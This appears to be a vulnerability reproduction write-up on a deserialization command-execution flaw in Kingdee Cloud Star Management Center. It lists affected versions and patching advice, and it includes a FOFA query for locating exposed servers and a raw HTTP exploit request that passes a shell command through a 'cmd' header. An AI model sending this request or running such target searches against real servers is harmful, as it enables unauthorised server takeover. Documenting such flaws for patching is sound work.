Article Directory
foreword
There is a deserialization command execution in the Kingdee Cloud Star Management Center. Attackers can use this vulnerability to obtain sensitive information and then take over the server.
statement
Do not use the relevant technologies in this article to engage in illegal testing. Any direct or indirect consequences and losses caused by the dissemination and use of the information or tools provided in this article shall be borne by the user himself. All adverse consequences and The author of the article is irrelevant. This article is for educational purposes only.
1. System introduction
Kingdee Cloud Star Management Center is a new generation of strategic enterprise management software developed by Kingdee Software (China) Co., Ltd. based on cutting-edge technologies such as cloud computing, big data, social networking, artificial intelligence, and the Internet of Things.
2. Vulnerability description
Kingdee Yunxingkong is a cloud-based enterprise resource management (ERP) software that provides enterprises with integrated solutions for financial management, supply chain management, and business process management. Kingdee Cloud Xingkong focuses on large and medium-sized enterprises with multiple organizations and multiple profit centers, and provides an open ERP cloud platform for enterprises in the digital economy era with three characteristics of "openness, standardization and social interaction". The services cover: finance, supply chain, intelligent manufacturing, amoeba management, omni-channel marketing, e-commerce, HR, enterprise Internet services, helping enterprises to realize the new ecology of digital marketing and management restructuring, etc., and enhance the digital capabilities of enterprises. The software has a remote command execution vulnerability , and an external attacker can use malicious attack methods to gain access to the target system, and then take over control of the server.
Three, the impact version
6.x版本：低于6.2.1012.4
7.x版本：7.0.352.16 至 7.7.0.202111
8.x版本：8.0.0.202205 至 8.1.0.20221110
4. Vulnerability recurrence
FOFA: app="Kingdee Cloud Starry Sky-Management Center"
Vulnerability link:
http://127.0.0.1/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc
The vulnerability data package is as follows:
POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: */*
Connection: Keep-Alive
Content-Type: text/json
cmd: ipconfig
Content-Length: 15944
{
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"format": "3"
}
5. Opinions on rectification
- The 7.x version must first install the full patch (fix the code) and then install the temporary patch (add security configuration)
- The 8.x version management center (port 8000 by default) is not open to the public by default and contains repair codes. However, direct installation of temporary patches may fail, so it is still recommended to install the full patch (fix code) first and then install the temporary patch (add security configuration).